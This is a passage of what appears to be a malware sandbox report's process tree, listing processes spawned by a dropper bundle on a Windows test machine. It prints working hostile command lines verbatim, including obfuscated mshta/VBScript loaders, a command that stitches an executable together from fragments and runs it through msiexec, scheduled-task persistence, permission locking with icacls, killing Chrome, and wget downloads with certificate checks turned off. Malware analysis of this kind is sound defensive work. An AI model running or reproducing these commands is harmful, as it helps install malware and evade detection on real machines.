C:\Users\Admin\Pictures\Adobe Films\lXY3wMaq0RbVWmmtjJ0qtVb_.exe"C:\Users\Admin\Pictures\Adobe Films\lXY3wMaq0RbVWmmtjJ0qtVb_.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\xVcbN9KUv25zjsxIGHKZd4Is.exe"C:\Users\Admin\Pictures\Adobe Films\xVcbN9KUv25zjsxIGHKZd4Is.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\RtVraS_AUomhiGsdAaYsCk_9.exe"C:\Users\Admin\Pictures\Adobe Films\RtVraS_AUomhiGsdAaYsCk_9.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6756317.exe"C:\Users\Admin\AppData\Roaming\6756317.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\1060700.exe"C:\Users\Admin\AppData\Roaming\1060700.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\4069911.exe"C:\Users\Admin\AppData\Roaming\4069911.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2158124.exe"C:\Users\Admin\AppData\Roaming\2158124.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2158124.exe"C:\Users\Admin\AppData\Roaming\2158124.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat144474a564d26f29.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat144474a564d26f29.exeSat144474a564d26f29.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\Ts5lp6wv8gXhTTRbunJ_DBUo.exe"C:\Users\Admin\Documents\Ts5lp6wv8gXhTTRbunJ_DBUo.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\SDEsP_lIL929ioiXC8CpVKpn.exe"C:\Users\Admin\Pictures\Adobe Films\SDEsP_lIL929ioiXC8CpVKpn.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\CoJpG1mD6aJIvLoIy7GEwjwM.exe"C:\Users\Admin\Pictures\Adobe Films\CoJpG1mD6aJIvLoIy7GEwjwM.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\7suN8YWf84EgMUegikKOqdN7.exe"C:\Users\Admin\Pictures\Adobe Films\7suN8YWf84EgMUegikKOqdN7.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 8729⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "A8rpN85o7pi6Rm7cqXvpH183.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\vnrLdxTRLSangwTRYGIvvecB.exe"C:\Users\Admin\Pictures\Adobe Films\vnrLdxTRLSangwTRYGIvvecB.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\EQoiq6kuMbJMTU_tbOwtPwPW.exe"C:\Users\Admin\Pictures\Adobe Films\EQoiq6kuMbJMTU_tbOwtPwPW.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RQ9C5.tmp\374zxcYkhW5gvt_pJxgl3UXU.tmp"C:\Users\Admin\AppData\Local\Temp\is-RQ9C5.tmp\374zxcYkhW5gvt_pJxgl3UXU.tmp" /SL5="$200CE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NT73C.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NT73C.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Program Files\Microsoft Office\TRBHIHOFOQ\foldershare.exe"C:\Program Files\Microsoft Office\TRBHIHOFOQ\foldershare.exe" /VERYSILENT11⤵
-
C:\Users\Admin\AppData\Local\Temp\53-0fca2-520-38982-71fb3eae940ba\Qodonyxoli.exe"C:\Users\Admin\AppData\Local\Temp\53-0fca2-520-38982-71fb3eae940ba\Qodonyxoli.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exe /eufive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exeC:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exeC:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exeC:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB8B7.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exe /qn CAMPAIGN=654 & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exeC:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exe /qn CAMPAIGN=65413⤵
-
C:\Users\Admin\AppData\Local\Temp\78-21d4d-1bc-7f788-5f01b8ee8a42c\Donenoqedae.exe"C:\Users\Admin\AppData\Local\Temp\78-21d4d-1bc-7f788-5f01b8ee8a42c\Donenoqedae.exe"11⤵
-
C:\Users\Admin\Pictures\Adobe Films\2xixw5GOKSGVr5JzwPyjGHgm.exe"C:\Users\Admin\Pictures\Adobe Films\2xixw5GOKSGVr5JzwPyjGHgm.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1688,8947998293998972121,13714004821760490023,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9928_581573892" --mojo-platform-channel-handle=1744 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1688,8947998293998972121,13714004821760490023,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9928_581573892" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:211⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14b47e86b9c16b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14b47e86b9c16b.exeSat14b47e86b9c16b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1427fbafcf251.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exeSat1427fbafcf251.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exeC:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exe6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1481f5a7e3eccdd.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-JECD4.tmp\Sat1481f5a7e3eccdd.tmp"C:\Users\Admin\AppData\Local\Temp\is-JECD4.tmp\Sat1481f5a7e3eccdd.tmp" /SL5="$10310,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe"C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe" /SILENT7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-16U0O.tmp\Sat1481f5a7e3eccdd.tmp"C:\Users\Admin\AppData\Local\Temp\is-16U0O.tmp\Sat1481f5a7e3eccdd.tmp" /SL5="$20314,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe" /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-IKOTC.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-IKOTC.tmp\postback.exe" ss19⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14a7594cc5a0116.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14a7594cc5a0116.exeSat14a7594cc5a0116.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe" /autoruns3⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /in="https://smartfix.pro/autoruns.exe" /out="C:\Windows\SmartFix\AutoRuns.exe" /name=AutoRuns4⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/autoruns.exe" -O "C:\Windows\SmartFix\AutoRuns.exe"5⤵
-
C:\Windows\SmartFix\Autoruns.exe"C:\Windows\SmartFix\Autoruns.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: cLOsE (CreaTEobject( "wscRiPT.sHELl" ). rUN( "cmD.EXE /C TYPe ""C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE"" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY &If ""/p~P_UpSUZjMkOKsY "" =="""" for %f iN ( ""C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE"" ) do taskkill -iM ""%~NXf"" /f " , 0 , tRUe) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C TYPe "C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY &If "/p~P_UpSUZjMkOKsY " =="" for %f iN ( "C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE") do taskkill -iM "%~NXf" /f2⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6561⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"4⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC4⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\c8f872c78c934525bc960734c4b2c849 /t 3012 /p 30081⤵
-
C:\Users\Admin\AppData\Local\Temp\120A.exeC:\Users\Admin\AppData\Local\Temp\120A.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\120A.exeC:\Users\Admin\AppData\Local\Temp\120A.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D7DA.exeC:\Users\Admin\AppData\Local\Temp\D7DA.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\D7DA.exeC:\Users\Admin\AppData\Local\Temp\D7DA.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11E.exeC:\Users\Admin\AppData\Local\Temp\11E.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\23AA.exeC:\Users\Admin\AppData\Local\Temp\23AA.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exeC:\Users\Admin\AppData\Local\Temp\7CD8.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exeC:\Users\Admin\AppData\Local\Temp\7CD8.exe3⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\9749c4cc-fcd5-4549-a8bc-c85d8bdbefd1" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exe"C:\Users\Admin\AppData\Local\Temp\7CD8.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exe"C:\Users\Admin\AppData\Local\Temp\7CD8.exe" --Admin IsNotAutoStart IsNotTask5⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build2.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build2.exe"6⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"6⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"7⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\8D75.exeC:\Users\Admin\AppData\Local\Temp\8D75.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\8D64.exeC:\Users\Admin\AppData\Local\Temp\8D64.exe2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipT: CLOSe ( CReATeobjeCT ("wsCriPt.shELL").rUN ( "CmD.Exe /q /c TYpe ""C:\Users\Admin\AppData\Local\Temp\8D64.exe"" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq &If """" =="""" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8D64.exe"" ) do taskkill /f -IM ""%~nXK"" " , 0 , TRue ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c TYpe "C:\Users\Admin\AppData\Local\Temp\8D64.exe" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq &If "" =="" for %K iN ("C:\Users\Admin\AppData\Local\Temp\8D64.exe") do taskkill /f -IM "%~nXK"4⤵
-
C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipT: CLOSe ( CReATeobjeCT ("wsCriPt.shELL").rUN ( "CmD.Exe /q /c TYpe ""C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE"" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq &If ""/pZ5QGjTyt68Asb0yBdT2u86meJWIOq "" =="""" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE"" ) do taskkill /f -IM ""%~nXK"" " , 0 , TRue ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c TYpe "C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq &If "/pZ5QGjTyt68Asb0yBdT2u86meJWIOq " =="" for %K iN ("C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE") do taskkill /f -IM "%~nXK"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpT:CloSE ( CrEAtEObjEcT("WScrIpt.SheLL" ). RUn ( "cmd /Q /C ecHO | sET /p = ""MZ"" > uYWtD.N & COpy /B /Y uYwTd.N+ WTWIUAL0.Kci+ KNhwd.RL +ZYKB.3YA +QIKkd6u.7NY +T5IJ2.6Z + L8YYF.2W ..\x3l5OyC.C& Del /q *& sTArt msiexec.exe /Y ..\x3L5OyC.C " , 0, TRUe ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C ecHO | sET /p = "MZ" > uYWtD.N & COpy /B /Y uYwTd.N+ WTWIUAL0.Kci+ KNhwd.RL +ZYKB.3YA +QIKkd6u.7NY +T5IJ2.6Z + L8YYF.2W ..\x3l5OyC.C& Del /q *& sTArt msiexec.exe /Y ..\x3L5OyC.C7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHO "8⤵
-
